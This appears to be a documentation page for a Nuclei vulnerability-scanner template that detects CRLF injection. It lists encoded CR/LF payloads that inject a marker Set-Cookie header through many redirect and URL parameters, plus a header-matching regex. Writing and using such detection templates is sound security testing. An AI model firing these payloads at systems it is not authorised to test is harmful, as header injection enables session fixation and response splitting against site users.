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Nuclei Templates

CRLF - Injection Detection

ID: crlf-injection-generic

Severity: low

Author: melbadry9,nadino,xElkomy

Tags: crlf,generic,hackerone

Description

Section titled “Description”

CRLF sequences were not properly sanitized.

YAML Source

Section titled “YAML Source”
id: crlf-injection-generic


info:
  name: CRLF - Injection Detection
  author: melbadry9,nadino,xElkomy
  severity: low
  description: CRLF sequences were not properly sanitized.
  reference:
    - https://hackerone.com/reports/858650
  metadata:
    max-request: 8
  tags: crlf,generic,hackerone


http:
  - method: GET
    path:
      - "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection" # unicode bypass
      - "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
      - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.." # Apache
      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
      - "{{BaseURL}}/?Test=%0D%0ASet-Cookie:crlfinjection=crlfinjection"


    stop-at-first-match: true
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
        part: header
# digest: 4a0a00473045022100b45f4837cc463aec305c8bb55a337fc51a0b307dba09bb5da7058aeab8fa7cd3022078fa4e4d91f0cde8c77616cf62fb6080a5c236a3262646e4e4672b3fd424e92f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/generic/crlf-injection-generic.yaml"

View on Github